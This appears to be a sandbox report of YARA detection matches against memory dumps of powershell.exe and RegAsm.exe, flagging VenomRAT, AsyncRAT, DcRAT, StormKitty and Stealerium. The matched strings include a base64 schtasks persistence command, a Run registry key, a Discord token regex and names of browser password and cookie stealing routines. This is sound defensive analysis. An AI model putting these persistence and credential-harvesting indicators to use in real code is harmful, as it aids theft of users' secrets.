17.2.powershell.exe.5a14cea.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
27.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
27.2.RegAsm.exe.400000.1.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
27.2.RegAsm.exe.400000.1.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
27.2.RegAsm.exe.400000.1.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
27.2.RegAsm.exe.400000.1.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
27.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
27.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
27.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
27.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
27.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
27.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
27.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
13.2.powershell.exe.6942dea.7.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
13.2.powershell.exe.6942dea.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.powershell.exe.6942dea.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.powershell.exe.6942dea.7.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
13.2.powershell.exe.6942dea.7.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
13.2.powershell.exe.6942dea.7.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
13.2.powershell.exe.6942dea.7.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
13.2.powershell.exe.6942dea.7.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
13.2.powershell.exe.6942dea.7.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
13.2.powershell.exe.6942dea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
13.2.powershell.exe.6942dea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
13.2.powershell.exe.6942dea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
13.2.powershell.exe.6942dea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
13.2.powershell.exe.6942dea.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
13.2.powershell.exe.6942dea.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
13.2.powershell.exe.6582b6a.6.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
13.2.powershell.exe.6582b6a.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.powershell.exe.6582b6a.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.powershell.exe.6582b6a.6.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
13.2.powershell.exe.6582b6a.6.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
13.2.powershell.exe.6582b6a.6.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
13.2.powershell.exe.6582b6a.6.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
13.2.powershell.exe.6582b6a.6.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
13.2.powershell.exe.6582b6a.6.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
13.2.powershell.exe.6582b6a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
13.2.powershell.exe.6582b6a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
13.2.powershell.exe.6582b6a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
13.2.powershell.exe.6582b6a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
13.2.powershell.exe.6582b6a.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
13.2.powershell.exe.6582b6a.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.5cb11e0.6.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
17.2.powershell.exe.5cb11e0.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.powershell.exe.5cb11e0.6.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
17.2.powershell.exe.5cb11e0.6.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
17.2.powershell.exe.5cb11e0.6.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
17.2.powershell.exe.5cb11e0.6.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
17.2.powershell.exe.5cb11e0.6.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
17.2.powershell.exe.5cb11e0.6.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
17.2.powershell.exe.5cb11e0.6.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
17.2.powershell.exe.5cb11e0.6.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
17.2.powershell.exe.5cb11e0.6.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
17.2.powershell.exe.5cb11e0.6.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
17.2.powershell.exe.5cb11e0.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.powershell.exe.5cb11e0.6.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.4ac20ba.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1fcbe6:$x2: https://github.com/LimerBoy/StormKitty 0x1fcc02:$x3: StormKitty
17.2.powershell.exe.5dd4f6a.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
17.2.powershell.exe.5dd4f6a.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.powershell.exe.5dd4f6a.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.5dd4f6a.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
17.2.powershell.exe.5dd4f6a.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
17.2.powershell.exe.5dd4f6a.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
17.2.powershell.exe.5dd4f6a.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
17.2.powershell.exe.5dd4f6a.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
